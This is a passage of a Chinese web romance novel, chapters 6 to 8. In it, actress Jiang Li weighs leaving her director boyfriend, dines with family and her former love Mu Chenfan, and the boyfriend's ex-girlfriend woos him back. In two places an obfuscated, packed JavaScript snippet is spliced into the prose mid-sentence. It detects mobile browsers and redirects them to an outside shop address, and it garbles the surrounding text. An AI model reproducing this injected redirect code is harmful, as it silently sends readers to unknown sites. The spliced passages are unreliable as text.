回到剧组,关于她的戏份,她比平时多NG了几次,才终于过了。 导演问她:“姜老师今天怎么了,状态有点不对啊,以前这样的戏份你都是一条过的。” 姜梨勉强笑笑:“可能昨晚没睡好。” 导演语带关切:“是不是最近打戏太多,太过消耗体力?今天后面几场没你的戏份了,不舒服的话,就先回去休息。” 姜梨颔首:“谢谢导演。” 去更衣室换掉戏服,出来时,姜梨点开手机看了一眼。 早上的事,林晋泽至今没有给她任何解释,也没有跟她发过消息。 两人的聊天框内安安静静,就好像什么都没有发生过一样。 想想也是,他的前女友在身边,他大概率没时间跟她发消息。 想着早上在病房里,林母那些尖酸刻薄的话,以及林晋泽让她失望的态度,姜梨忽然觉得这场恋爱谈得很累。 明明刚在一起的时候那样美好,互相憧憬着未来,觉得无限可期。 短短一年,居然物是人非。 或许,他们都应该重新考虑一下这段关系该不该继续了。 6. 第 6 章 姜梨正打算回酒店休息,手机弹出语音电话。 看了眼备注,她调整好情绪,笑着接听:“星遥。” 慕星遥欢快的声音响起:“小甜梨,我快到你们剧组了,大概还有十分钟,给你带了你喜欢的魔芋蛋糕,我自己做的,低卡低糖,不会胖哦。” 慕星遥是慕辰帆的双胞胎妹妹,只比慕辰帆晚出生了不到一分钟。 她和慕辰帆一样,与姜梨自幼便相识。 不过小的时候,慕星遥更喜欢黏着与慕氏交好的一位世家哥哥,总是不见人影,姜梨和她玩到一起的时间并不多,反倒跟慕辰帆更熟稔。 直到后来慕辰帆出国,这几年慕星遥忽然频频联系她,两人的关系才变得越来越亲近。 姜梨回她:“我刚好准备回剧组的酒店,你直接去那里吧。” “行,那到时候见。”慕星遥应着,切断了电话。 - 剧组的酒店门口,她和慕星遥两个人见上面,一起挽着手回酒店房间。 关上门,慕星遥一眼看出她兴致不高,关心地问:“你怎么了,拍戏太累,还是发生什么事了?” 姜梨心中正有满腔委屈无处倾诉,见她问起,不知怎的,眼眶忽然便有些泛红。 慕星遥吓了一跳:“到底怎么了,你跟我说说。” 姜梨平复情绪,跟她讲了先前在医院发生的事。 听完事情始末,慕星遥比她还要生气: “他妈妈生病,你这个正牌女友是从别人口中知道的,他的前任却帮着找关系约专家?那他把你摆在什么位置?” “他妈妈居然还当着他前女友的面那样羞辱你,这太过分了!” “小甜梨,你当初为什么隐瞒家世?不就是因为他整天话里话外看不上家境好的富二代吗?现在倒好,他妈妈反倒嫌你家世普通,在事业上帮不了他。这家人到底要怎样?” 姜梨抱膝蜷在沙发角落,始终垂着头一语不发。 心口像是被什么堵着,闷得难受。 记得刚认识林晋泽时,他还是个胸有理想,却怀才不遇的新人导演。 他在片场教她如何入戏,陪她一遍遍对台词,她也满怀热忱地陪在他身边,在他失意时给予他鼓励。 他们曾经有说不完的话,从剧本聊到人生,从镜头美学谈到艺术追求。 那时的他眼里有光,谈起电影时整个人都在发亮。 一年前她大学毕业,他忽然捧着大束鲜花向她告白,深情款款地说要和她携手同行,一起实现抱负,成为夜空中最璀璨的那颗星。 几个熟识的同学一脸羡慕地围着起哄,催促她赶紧答应,祝福他们天长地久。 不知从何时起,这一切都变了。 或许从饭局那晚,他们就已经在渐行渐远。 “我不知道这段感情该怎么继续下去。”姜梨红着眼看她,“星遥,明明看你们谈恋爱,我都觉得很甜很幸福。可是不知道为什么,轮到我身上,好像每次恋爱都很不顺利。” 慕星遥听得心里咯噔一下,姜梨一共就谈了她哥和林晋泽,现在却说每次恋爱都不顺利。 她和她哥当年分手,也是因为她哥做的不够好吗? 这种情况下,慕星遥也不好细问,只心疼地过来坐在她边上,抱住她:“好了好了,不难过了,这不是你的错,是那个姓林的有问题!今天下午难得休息,与其自己待在房间里胡思乱想,不如我们中午去吃点好的,下午我再陪你四处逛逛。” 姜梨本没有什么出去的兴致,又觉得慕星遥的话有道理。 她还得尽快调整好状态,争取不影响明天的工作,于是强撑着精神起来换衣服。 慕星遥在沙发上等她,包包里手机响起,是她的哥哥打来的电话。 慕辰帆低沉的声音从听筒里传来:“跑去哪了,你老公来了,说要接你回家。” 慕星遥支吾了一下:“我打算一会儿陪小甜梨逛街,你跟他说,让他晚上再来接我。” “你去《寒州行》剧组了?”慕辰帆顿了下,“她今天不拍戏?” “上午的戏已经拍过了,下午休息。”慕星遥朝衣帽间那边看一眼,压低声音,“哥,她那个男朋友真不是个东西,居然跟前女友私下往来,他妈妈还为了讨好那女的,说小甜梨配不上她儿子。明明是那个姓林的在高攀好吗,小甜梨委屈死了,刚刚还跟我说打算分手。” 慕辰帆握着手机的指节紧了紧:“她还好吗?” 慕星遥摇摇头:“不太好,眼睛红得跟兔子似的。我准备带她散散心,你不忙的话,要不要一起?” “我去像什么话?”慕辰帆默了片刻,“她看见我不会高兴的,你陪她好好玩,开导开导她,别让她胡思乱想。” 慕星遥“哦”了声,手机那端被挂断。 紧接着,哥哥给她发来一笔巨额转账。 慕星遥:【?】 【你干嘛突然这么大方?我有钱啊。】 哥:【赞助你们下午出去玩。】 慕星遥眸色微亮:【懂了懂了,哥你放心,如果有机会的话,我下午一定在小甜梨面前趁机多说你的好话。她想和林晋泽分手,现在正是你趁虚而入的好时机!】 哥:【……我没这个意思,你们好好玩。】 恰在这时,姜梨换好衣服出来,问她:“跟谁打电话呢?” “我哥,问我跑哪去了。”慕星遥手机迅速息屏,状似随意地回答,“你说他也老大不小了,一天天的,脑子里不知道想什么。去国外读书的时候,身边就没出现过异性,如今回国了,还是没半点恋爱的迹象。我俩是龙凤胎,我这个做妹妹的都结婚了,他现在还单着,真让人着急。” 她看向姜梨,“我有时候真好奇,我哥以后到底会给我娶个什么样的嫂子回来?我跟我未来的嫂子万一处不来,那可怎么办?” 姜梨看她一眼:“姑嫂之间,合不合得来看命。这个你没办法的,只能祈祷以后能有个好相处的嫂子了。” 见姜梨说得坦然,面上丝毫不见波澜,慕星遥不禁在心底为她哥哥叹了口气。 这么多年过去,她哥在小甜梨的心里,看来真成过去式了。 - 医院病房里弥漫着消毒水的气息,林晋泽沉默地坐在一旁,不愿与母亲交谈。 先前母亲装病,害他不能去送姜梨。 刚刚秦优离开后,他想去剧组找姜梨,又被母亲拦下,甚至以死相逼。 母子之间,陷入僵滞。 林母瞥了他一眼,语气缓和几分:“妈知道你不愿意我干涉你的感情,可我做的一切都是为了你好。秦优是什么身份?那个小门小户出来的姜梨怎么比得了?秦家在长莞的生意,和尹氏的君肆集团有长期合作,这些年借着尹家的东风越做越大。她姑父还是星途传媒的CEO。” “你在耀起,那个姓慕的富二代不懂得重视你,你们乔总为了自保,也不会一直力挺你。可秦优说了,只要你愿意,她可以让他姑父挖你去星途,到时候你就是那边的重点培养对象,甚至连下一届暗夜国际奖都能提前给你内定个名额。” 林晋泽的指尖无意识地蜷缩了一下。 察觉到儿子的动容,林母继续晓之以情,动之以理:“你爸走得早,妈一个人把你拉扯大,就盼着你能出人头地。你有才华,要不是家里没背景,你现在的成就何止这些?如今机会就摆在眼前,你可不能糊涂啊。” “妈,别说了。”林晋泽听得心烦意乱,从座位上起身,拿起桌上的烟和打火机,去外面透气。 医院抽烟区,林晋泽倚在窗边,指尖夹着的香烟升起袅袅青雾。 他深深吸了一口,试图用尼古丁安抚内心的焦躁,却无济于事。 母亲的话在耳边挥之不去,而姜梨那张清丽的脸庞也不断浮现在眼前。 林晋泽记得第一次注意到姜梨时,她刚被总导演骂了一场,说要把她换掉,她坐在角落里边抹眼泪边读剧本。 那天的她一袭素白旗袍戏服,哭的梨花带雨,担心好不容易得来的角色被自己毁了。 其实林晋泽知道,总导演并不会把她换掉。 青涩懵懂,貌美脱俗,整个人干净得像初春枝头的新雪,整个娱乐圈,没有比她更适合这个角色的演员。 可她从不知道自己的独特,只是执着地一遍遍打磨演技,在剧组早出晚归。 有次深夜,他看见她独自在空荡的排练厅里反复练习同一个转身举枪的动作,汗水浸湿了戏服,眼神却依然明亮坚定。 就是那样的她,让当时处处碰壁的林晋泽重新燃起了对电影的热忱。 圈里人都说是他凭借《墨问》一手捧红了姜梨。 只有他自己知道,他能给她的实在有限。是她自己的坚韧与天赋,支撑着她一步步走到今天的位置。 反倒是他,深受她的影响。 林晋泽从未告诉任何人,是姜梨的纯粹干净,唤醒了他对镜头美学最本真的感知。 他的成名作《墨问》,最初的灵感来源于她。 他们曾经是彼此的光,互相照亮着走过最艰难的岁月。 林晋泽本以为,这条路他们会一直并肩走下去。可如今,两人却站在了命运的岔路口。 香烟在指间燃尽,他却浑然不觉,直到痛感传来。 - 慕星遥陪着姜梨玩了半日。 傍晚时分,姜梨的心情已经好了很多。 两人从游乐场出来,慕星遥的老公驱车在路边等着,打算接她回家。 姜梨一脸感激地对着慕星遥道:“谢谢你暮暮,为了让我高兴,耽误你大半天的时间。” 慕星遥嗔道:“都认识多少年了,你跟我客气什么?再这样见怪我可要生气了。” 看一眼时间,她问姜梨,“你怎么回酒店,让我老公送你吧。” 姜梨知道他们要回澜城,和剧组方向正好相反,便婉拒道:“我自己叫车就行。天色不早了,澜城离安芩要三个小时,你快去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144521|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,到家给我报平安。” 慕星遥没再强求:“那我走了,心情不好随时给我打电话。” 姜梨点头,目送慕星遥上了车离开,自己戴好口罩帽子,打算问问来接她的阿黛多久到。 这时,手机铃声响起。 她扫一眼备注,是堂弟尹慕翊。 姜梨狐疑地接听:“怎么了?” 尹慕翊:“姐,我妈想你了,问你晚上有没有空,回家一起吃晚饭。” 姜梨心头一暖,想起以前上学的时候,每个寒暑假,她都会来叔叔婶婶家小住。 工作以后,她反倒去的少了。 如今这部戏就在安芩拍摄,离叔叔婶婶家不远,她却一直没有去看望过。 刚好今天休息,她索性应道:“好啊,我一会儿过去。” 尹慕翊:“用不用我去接你?” 说话间,助理阿黛已经驱车来接她了。 姜梨回道:“不用,我自己过去就行。” 阿黛把车泊停过来,姜梨走过去,打开车门坐进副驾,对阿黛说:“送我去九曜云庭。” 阿黛讶异了一瞬,问道:“不回酒店吗?” 姜梨说:“去陪长辈吃个晚饭。” 阿黛驱车去九曜云庭的路上,压不下心中的诧异,问道:“梨梨,你居然有长辈住在九曜云庭?听说那是安芩这两年最顶级的豪宅,里面住的都是非富即贵的大人物。” 姜梨随口“嗯”了声,没说太多,阿黛也不好再八卦,只暗暗在心中嘀咕,梨梨的家境不是很普通吗,怎么会有那么厉害的长辈? - 别墅区门口,姜梨解了安全带,对阿黛说:“我自己走进去就行,你回去吧。” 阿黛:“行,你什么时候打算回去了,提前给我打电话。” 姜梨应了声,下车后拎着顺路买的水果进别墅区。 暮色中的别墅区静谧雅致,几株蜡梅已悄然结出细小的花苞,在微凉的空气中散发着若有似无的清香。 叔叔婶婶家的独栋别墅掩映在苍翠的绿植中,她轻车熟路地通过指纹进了大门。 穿过精心打理的入户花园时,佣人见到她恭敬地问好:“小姐回来了!” 姜梨笑着微微点头。 倏忽间,她注意到院内的空地上,停着一辆银灰色跑车。 流畅的跑车线条在暮色中泛着冷冽的金属光泽,低矮的车身透着一股蓄势待发的力量感。 这辆跑车姜梨并不陌生。 高考结束后,她来安芩玩,慕辰帆曾载着她在环海公路上飞驰。因为担心他的车技,她当时牢牢抓着扶手,心差点从嗓子眼跳出来,不停喊着让他慢点,他却越开越快,任凭海风呼啸着灌进车内。 后来跑车终于停下,姜梨气得把他按在座椅上狠狠揍了好几拳,他却笑得越发肆无忌惮。 他那个时候,实在有点混。 不知怎么突然想到这些,姜梨急忙打住思绪。 慕辰帆在这儿并不稀奇,毕竟她的婶婶是慕辰帆的堂姐。 姜梨之前每次来叔叔婶婶家小住,十有八九都能遇见他。 曾经有段时间,慕辰帆总是想着占她的便宜,各种威逼利诱,让她随着尹慕翊一起喊他小舅舅。 当然,姜梨没那么听话,不可能次次都让他得逞。 她只会在有事求他的时候,不情不愿地憋出来一句:“小舅舅……” 每当这个时候,慕辰帆总是格外得意。 他挺直腰板,摆出长辈的架势,轻轻揉着她的发顶,用带着笑意的声音唤她的乳名:“真乖,我的小甜梨。” 姜梨时常觉得,如果她和慕辰帆没有经历后面那些事,关系一直停留到最初,那么一切都会好好的。 思绪回转间,姜梨已经走到别墅门前。 就在她准备推门而入时,门被人从里面打开。 慕辰帆站在门廊的暖光里,身上穿着一件深灰色的羊绒衫,细腻的针织纹理衬得肩线格外挺拔利落。 姜梨看过去时,他那双漆深如墨的眸子恰好望过来,带着几分清幽,复杂难辨。 空气滞了几息,慕辰帆先开口:“下午和星遥一起?” 姜梨轻“嗯”了声:“她去剧组探班,我们一起出去逛了逛。” 慕辰帆听慕星遥说她白天哭过,此刻看她精神状态还好,他放心了些,没再多问。 姜梨想起什么,问道:“对了,你那件外套急用吗?我已经让人洗过了,不过事先不知道你在这,而且是从半路过来的,没带在身上。” 慕辰帆:“先放着吧,不急。” “好。”姜梨点点头,又寒暄着问道,“你这是要走了吗?” 她心想,慕辰帆这时候出门,估计是打算走了,不留下来一起吃晚饭,如此一来,也免了两人相处时的尴尬。 她心中刚有些庆幸,便听慕辰帆道:“不是,我去车上拿点东西。” 姜梨一怔,没有再说什么,先行进屋。 7. 第 7 章 姜梨走进客厅,恰好看到婶婶慕柚从旋转楼梯上缓步而下,她笑着唤道:“婶婶!” 慕柚迈下最后一级台阶,眉眼含笑地迎上来:“怎么还带东西,你人回来就行,自己家里还这么见外。” 姜梨笑道:“路过水果店,看着很新鲜,就顺手买了一些。” 慕柚朝楼上的方向望了望,扬声唤着尹慕翊的名字,不见回应。 她目光瞥见从院里进来的慕辰帆,温声嘱咐:“辰帆,你去把水果拿去洗一下。” 慕辰帆应着走过来,接过姜梨手上拎着的果篮。 指腹不经意触碰到她的手,冰冰凉凉的,他抬眸看了眼她单薄的穿着,白色长裙搭浅绿色针织毛衣。 还真是要风度不要温度。 慕辰帆拿着水果去厨房,慕柚则是拉着姜梨在沙发上坐下。 触到她冰凉的手,慕柚不禁惊呼:“小甜梨,你手怎么这么凉呀,这么冷的天也不说穿厚点,万一感冒了怎么办?” “我一到秋冬就是这样,手脚容易凉,其实并不觉得冷。” “冰成这样,怎么可能不冷。”慕柚不赞同地摇头,将她的手拢在掌心暖着,“你就是穿得太少,眼看着入冬了,你该多加一件外套。” 姜梨乖巧地笑:“那我回去就穿厚点。” 厨房里,水声哗哗,慕辰帆将水果一个个仔细冲洗。 客厅里的对话隐约传来,他手下动作未停,想到姜梨的家在长莞,那座北方城市冬日飞雪,她却总是一件大衣就敢出门,在雪地里蹦跶半天也不喊冷。 她只有在生理期肚子疼的时候,才会想起来要保暖。 安芩的气温至少比长莞高5-8℃,她若真能乖乖听话,回去把衣服穿厚,那才叫人意外。 洗过水果放在客厅茶几,慕辰帆上楼,留慕柚和姜梨两个人在客厅说话。 尹慕翊双手闲闲插在兜里,斜倚在楼梯最上方的台阶栏杆处,看着慕辰帆眉梢半抬,带着点促狭的笑意:“小舅舅,你今天为了见我姐,还真是大费周章。” 慕辰帆今天下午一来,就故意在慕柚跟前聊《寒州行》的项目。 慕柚听说姜梨在安芩拍戏,这才迫不及待让尹慕翊打电话让她回来吃饭。 慕辰帆淡淡睨他一眼,没有接话。 楼下,慕柚和姜梨的交谈声隐约传来:“听你妈说,你谈了个男朋友,是个挺有才华的导演?” 姜梨:“嗯,去年谈的。” 慕柚:“那人怎么样,他对你好不好?” 短暂的沉默后,姜梨再开口时,声音里带着惯常的笑意:“我都挺好的,婶婶,您别担心。” “那就好。”慕柚欣慰道,“你这个年纪,正该好好谈场恋爱,享受生活,不能总一头扎在工作里。” 慕辰帆停在二楼楼梯口的阴影处,目光静静落在那抹坐在沙发上的侧影。 她微微垂着头,侧脸线条柔和,长发松散地拢在肩后,唇角还挂着乖顺温婉的弧度。 她只说自己挺好,却没回答那人到底对他好不好。 面对长辈,她向来是报喜不报忧的。 如果不是先前听慕星遥说她想分手,连他都要信了。 - 晚餐时分,厨房阿姨准备了一桌丰盛的菜肴。 餐桌前,尹默与慕柚夫妇坐在主位,慕柚身侧特意留出了姜梨的位置。尹默的下首则依次坐着慕辰帆和尹慕翊。 如此一来,姜梨和慕辰帆便成了面对面,姜梨抬头夹菜时,恰好便能看到那张冷峻利落的脸。 偶尔的眼神交汇后,两人都默契地避开。 好在慕柚对姜梨格外疼爱,不停地往她碗里添菜,糖醋小排、清炒虾仁,都是她最爱的口味。 姜梨几乎不用自己动手,碗里的菜肴总是堆得恰到好处,也免去了与对面那人视线相交的尴尬。 用餐时,慕柚想起什么,柔声问她:“小甜梨,我记得你当年不愿接手星途传媒,执意要做演员,却又不肯签在自家公司,后来是去了耀起影业?” 姜梨点头:“是的婶婶。” 慕柚转向慕辰帆,语气温和却带着嘱托:“耀起是慕氏旗下的产业,如今你掌管集团,要多关照小甜梨。娱乐圈水深,人际关系复杂,可不能让她受了委屈。” 慕辰帆慢条斯理地放下筷子,淡声应道:“知道了,姐。” “别光是嘴上答应。”慕柚继续叮嘱,“你们自幼相识,真要论起辈分来,小甜梨还得唤你一声小舅舅。既然身为长辈,就该多上心些。” 慕辰帆扬眉,朝对面那抹身影看了眼,脊背向后倚进座椅靠背,语调懒洋洋地道:“她可没把我当成过长辈。” 姜梨抬眸,对上那双略带戏谑的黝黑眼瞳,扭头跟慕柚辩解:“婶婶,他就比我早出生三天。” 慕柚被两人的互动逗笑:“这倒也是,你们年纪相仿,就不必拘泥辈分了。但不管怎样……” 她再次看向慕辰帆,语气认真,“无论如何,你都要多照顾着小甜梨,这样我才放心。” 这一次,慕辰帆应得格外郑重:“姐,我会的。” 尹默看向慕辰帆:“听你爸说,你刚回国接手集团事务,就把娱乐版块的总负责人调去了其他部门,耀起的CEO也换了人。怎么突然大动干戈?” 姜梨握着筷子的指尖微颤,听到慕辰帆从容应道:“那两人在娱乐版块待得太久,带起不少歪风邪气,早就该动一动了。” 姜梨想起饭局那晚,那位邵总为了讨好慕辰帆,想要安排她坐到主位旁,为慕辰帆斟酒,乔总也推波助澜。 难道关于这两人的人事变动与那晚有关? 她不由抬眸看向对面的慕辰帆,他慢条斯理地舀了一勺汤,神情淡然自若,仿佛刚才说的不过是再寻常不过的公事安排。 或许,他只是不喜邵总和乔总的谄媚,为集团的发展考虑才有此决策。 这个话题没有持续太久,大家又聊起旁的。 慕柚说:“小甜梨难得回来一趟,今晚住下吧,你的房间我已经让人打扫干净了。” 因为之前每年都会在叔叔婶婶家小住,慕柚特地为她准备了专属公主房,里面布置的温馨漂亮。 姜梨心底浮出一丝暖意,笑说:“谢谢婶婶,明天一早有我的戏要拍,我还是回剧组方便一点,等这部剧拍完,我再好好陪您说话。” 慕柚向来支持她的工作,闻言便也不强求,只体贴地点点头:“这样也好,那一会儿让阿翊送你。” 她说着,看了眼边上只顾吃饭的儿子,“晚点你送你姐回剧组。” 尹慕翊下意识看向慕辰帆,见后者没有半点积极主动的意思,心中嘀咕,这人费尽心思把他姐喊回来吃饭,这种时候居然不知道好好表现,还装哑巴。 难不成绕这么大圈子,就只为了见这一面? “尹慕翊,”慕柚见他走神,眉头轻蹙,“让你送姐姐回家,发什么呆呢?” 尹慕翊蓦地回神,赶忙扬起一个灿烂的笑:“好啊,保证安全送达!” - 饭后,姜梨又陪着慕柚说了会儿话,打算离开。 慕柚正要喊尹慕翊去开车,却见慕辰帆也拿起了搭在椅背上的外套。 “辰帆也要走?”慕柚有些意外。 慕辰帆系上外套扣子,语气自然:“回去陪陪爸妈和爷爷。” 慕柚满意地点头:“你这几年常在国外,如今难得回国了,是得多陪陪他们。爷爷年纪大了,就喜欢小辈们围在身边。” 尹慕翊原本都拿起车钥匙了,见此眸光微动,又看向他妈:“既然小舅舅也要走,不如就让他顺路送送我姐?也省得我多跑一趟了。” “你这孩子,怎么这么懒?”慕柚嗔怪着,下意识看向慕辰帆,担心他回家还有正经事。 不料慕辰帆淡然应下:“姐,我顺路送她。” 姜梨眼皮微跳,拒绝的话还没说出口,慕柚已经笑着看向她:“这样也好,让辰帆送你吧。你们小时候那么熟络,这几年各自忙于事业,倒是生分了不少,正好趁这个机会多聊聊。” 婶婶不知道她和慕辰帆曾经谈过一小段的经历,为免引起猜疑,姜梨只能乖乖点头:“好。” 她转头对着慕辰帆礼貌地道,“那就麻烦了。” 慕辰帆颔首,态度客气。 从屋里出来,慕辰帆打开车门,姜梨弯腰坐进那辆跑车。 慕柚嘱咐慕辰帆:“天色有点晚,一定要把小甜梨安全送到。” 姜梨对着慕柚挥手:“婶婶,外面冷,您快回屋吧。” 慕柚应着,跟她挥手道别。 送走两人,目送慕辰帆的车驶出庭院,回屋的时候,慕柚转向儿子:“辰帆和小甜梨以前总是吵吵闹闹的,这几年不常见面,今晚我看着很是生疏,刚才在饭桌上都没见主动说过话,他们俩是不是闹什么矛盾了?” “……没有吧,我看他们俩相处得挺好的。” “今天下午,辰帆突然提到小甜梨拍的那部戏,他对小甜梨好像挺上心的。”慕柚若有所思着,“你刚那么积极让辰帆送她,莫非你在撮合他们俩?” 尹慕翊微怔,不自在地摸了摸鼻尖,故作轻松:“您想多了,哪有这事。” “以前我也觉得小甜梨和辰帆挺般配的,还想着等都上了大学,看能不能撮合撮合。结果辰帆出了国,姜梨也回长莞念书,两人都不常往家里来,交际越来越少。” 轻叹一声,慕柚继续道,“如今小甜梨已经有男朋友了,想来对辰帆是真没什么意思,他们俩终究是没缘分。” - 跑车驶离九曜云庭,在夜色中平稳前行。 姜梨望着窗外流淌的霓虹,默了会儿,略显生疏地开口:“你随便找个路边把我放下来就行,我让我的助理过来接我。” 她说着手机上已经在给阿黛发微信。 刚才是不想婶婶起疑,才默许他送,事实上,姜梨没指望真让慕辰帆送自己回剧组。 慕辰帆修长的手指搭在方向盘上,嗓音清淡:“我直接送你回去,不费事。” “还是不麻烦了。”姜梨已经给阿黛发了消息过去,对慕辰帆道,“我的助理一会儿就来了,你找地方放我下来。” “我们之间,已经到了连送你一趟,都让你觉得有负担的地步?”慕辰帆余光看她一眼,“怎么,怕你男朋友吃醋?” 姜梨被问得哽住。 如果只是小时候认识的关系,被他送一趟自然无所谓。 可他们的关系不止于此。 虽然她内心已经不打算和林晋泽交往下去,但两人彻底了断之前,她不想引起不必要的误会和猜疑,横生枝节。 “你对你这位男朋友,可真够上心的。”慕辰帆没头没尾地又说了一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144522|196376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨扭头看他一眼,男人只平静地看着前方的路口,利落干净的侧脸上瞧不出半点情绪。 她一时分不清慕辰帆这话是单纯的感慨,还是阴阳怪气。 失神间,慕辰帆的车没有停下。 当她反应过来,转头看他时,他轻叹一声:“我顺路去拿我的外套,这总行了吧?” - 医院病房里一片寂静。 林母服过药后早早睡下,林晋泽独自坐在窗前的沙发上,望着远处阑珊的灯火出神。 姜梨愤怒离开后,再没有联系过他。 午饭期间,林晋泽打她的电话打不通,他下午又发消息给她,也没得到半句回应。 两人相识这么久,姜梨看似温婉柔顺,实则骨子里有点冷傲。 她总是因为一点矛盾,就对他大动肝火。 反倒是秦优,今天给他发过好几次微信,嘱咐他照顾母亲的同时,也要顾惜着自己的身体。 林晋泽和秦优是大学同学,在一起后,也曾在学校里被同学们传成登对的金童玉女。 大学毕业后,秦优直接去家里的公司做一个小领导,而他却是个在导演圈摸爬滚打的无名小卒。 悬殊的境遇让两人之间频频产生矛盾。 秦优仗着家世轻易得到很多,却总是不经意间流露出对他现状的不满,嫌他籍籍无名,与她不堪匹配。 她的父母也因为他出身贫寒,直白地反对两人在一起。 秦优的父亲甚至给了他一张一百万的支票,要他拿着钱离开他的女儿。 林晋泽备受侮辱,最后恼怒之下撕毁那张支票,彻底和秦优分了手。 从此,他痛恨一切富二代,并暗暗告诫自己,一定要出人头地。 可是事与愿违。 没有背景和人脉,他在这个圈子里举步维艰,几度濒临放弃。 直到后来认识姜梨,看到她身上的韧性和坚持,他才又重新活过来。 他正失神,手机在此时震了声,以为是姜梨有了回复,林晋泽急忙点开。 是之前他在匿名论坛上发布的一个问题,有了网友的回复。 他问的是:爱情和面包,选哪个? 【1楼:当然是爱情!我和老公租着老破小,但每天都过得很幸福。】 【2楼:同意!面包确实重要,但没爱情的日子,就算吃再贵的面包,也感觉不到甜味。】 【9楼:醒醒吧,爱情能当饭吃?我前女友当初就是因为我买不起房,跟我分的手。】 【22楼:先选面包。等你有钱了,爱情自然会回来。去年同学会,我的初恋还来找我求和,说后悔当年离开我。】 【23:楼上说得对,男的一定要有自己的事业。没有面包,爱情也早晚会离你而去。】 林晋泽锁上屏幕,将手机扔到一旁。 窗外的灯火依旧明亮,却衬得他的眼神愈发晦暗难明。 没有一丝困意,林晋泽独自走出病房楼。 初冬的夜风带着凛冽的寒意扑面而来,让他混沌的思绪稍稍清醒了几分。 他最终还是决定去酒店找姜梨。 他不想两人就这样草率的说结束,早上的事,确实让她受了委屈,他想当面跟她解释清楚。到时候她要打要骂,都随她,只要出了气,不再不理他。 刚走下台阶,一道熟悉的声音叫住他:“阿泽!” 林晋泽回头,看见秦优站在不远处的路灯下。她穿着一件修身的黑色风衣,领口微敞,露出精致的锁骨,脸上化着恰到好处的晚妆,在这清冷的医院夜色中显得格外惹眼。 林晋泽迎上前,语气里带着几分诧异:“这么晚了,你怎么会来医院?” 秦优浅浅一笑:“我也睡不着,想着来看看阿姨。” 她说着,很自然地伸手想要挽住林晋泽的手臂,后者不着痕迹地侧身避开:“我妈已经睡下了,你要探望的话,还是明天再来吧。” 他看了眼时间,“不早了,你早点回去休息。” 见他转身要走,急匆匆的像是去见什么人,秦优赶忙拉住他的衣袖,眉头微蹙:“刚才来的路上不小心扭到脚了,现在疼得厉害,正愁不知道怎么办呢……” 她声音轻柔,带着几分委屈,“阿泽,我自己走不了路,你能先扶我去急诊看看吗?” 林晋泽迟疑地看向她。 路灯朦胧的光线下,秦优仰着脸,眼中水光潋滟,那份楚楚可怜的模样任谁都很难狠心拒绝。 何况秦优刚帮过他大忙。 林晋泽任由她扶住自己的手臂:“怎么这么不小心?” “来的路上光想着这个时间过来,也不知道能不能碰到你,一时走神,就崴了一下。”秦优轻声说着,将身体又往他手臂的方向靠近了些,面上含笑,“不过还好,总算遇上你了。” 林晋泽闻言一怔,随着她贴近,他鼻端嗅到她发间诱人的甜味。 他喉头动了下,匆忙移开视线,声音比刚才低沉几分:“下次再过来,可以提前给我打电话。” 秦优抿嘴笑了下:“好呀。” 去急诊的路上,秦优挽着他的手臂,身体的力道几乎都压在他身上。 似乎刚想起来,秦优忽然问他:“你刚急匆匆的是要去哪,我没有耽误你功夫吧?” 林晋泽侧目看她一眼,温声道:“没什么,先看你的脚伤要紧。” 8. 第 8 章 林晋泽带着秦优挂了急诊。 医生检查后表示并无大碍,只是轻微的韧带拉伤,开了些外用药膏便让他们离开。 取完药,秦优在急诊室外的长椅上坐下,轻轻扯了扯林晋泽的衣袖,声音带着几分撒娇的意味:“阿泽,我的脚踝还是好痛,你能不能帮我擦一下药?” 林晋泽犹豫片刻,终究还是在她面前屈膝蹲下,托起她的脚踝,动作轻柔地涂抹药膏。 秦优低头看着他认真的侧脸,轻声开口,语气里带着几分试探:“阿泽,你还在怪我吗?” 林晋泽手上的动作微微一顿,却没有抬头:“怪你什么?” “当初我爸妈不同意我们在一起,我太想让他们认可你了,所以总是逼着你快点成功,说话也没有顾忌到你的面子,总是让你难堪……” 她的声音渐渐低了下去,“分手的这些年,我一直很后悔,如果当时处理感情能够成熟一点,我们两个的结局可能会不一样。” 林晋泽沉默地继续着手上的动作,直到将药膏仔细涂抹均匀,才缓缓站起身。他的目光落在远处急诊室闪烁的指示灯上,声音平静得听不出情绪:“都过去了。” 秦优低着头,睫毛上凝着细碎的泪光:“所以,我们之间是再也不可能了吗?” 林晋泽沉默着,没有说话。 秦优深吸一口气,再抬头时已经换上得体的微笑:“没关系,你自己如今过得开心幸福就好。” “阿泽,我真的很为你现在的成就感到骄傲。听阿姨说《冻土》落选了,这么好的作品被这样对待,我替你感到不值。” 林晋泽终于又转头看她:“你觉得《冻土》是好作品?” “当然。”秦优毫不犹豫地点头,语气坚定,“如果放到星途传媒,它绝对值得一个国际大奖。是耀起的人没有好好重视你,也没有用心对待你的作品,阿泽,为了你的前途和未来考虑,你不能继续待在那样的地方了。” 林晋泽眸色黯了黯,眉宇之间似有动容。 秦优悄悄看他一眼,顿了会儿继续道:“尹氏集团向来很少过问星途传媒的具体运营,公司的大小事务基本都由我姑父全权负责。他一直很欣赏你的才华,如果你愿意,星途可以全力推荐《冻土》入围这一届的暗夜奖。” 林晋泽垂在身侧的指节动了下。 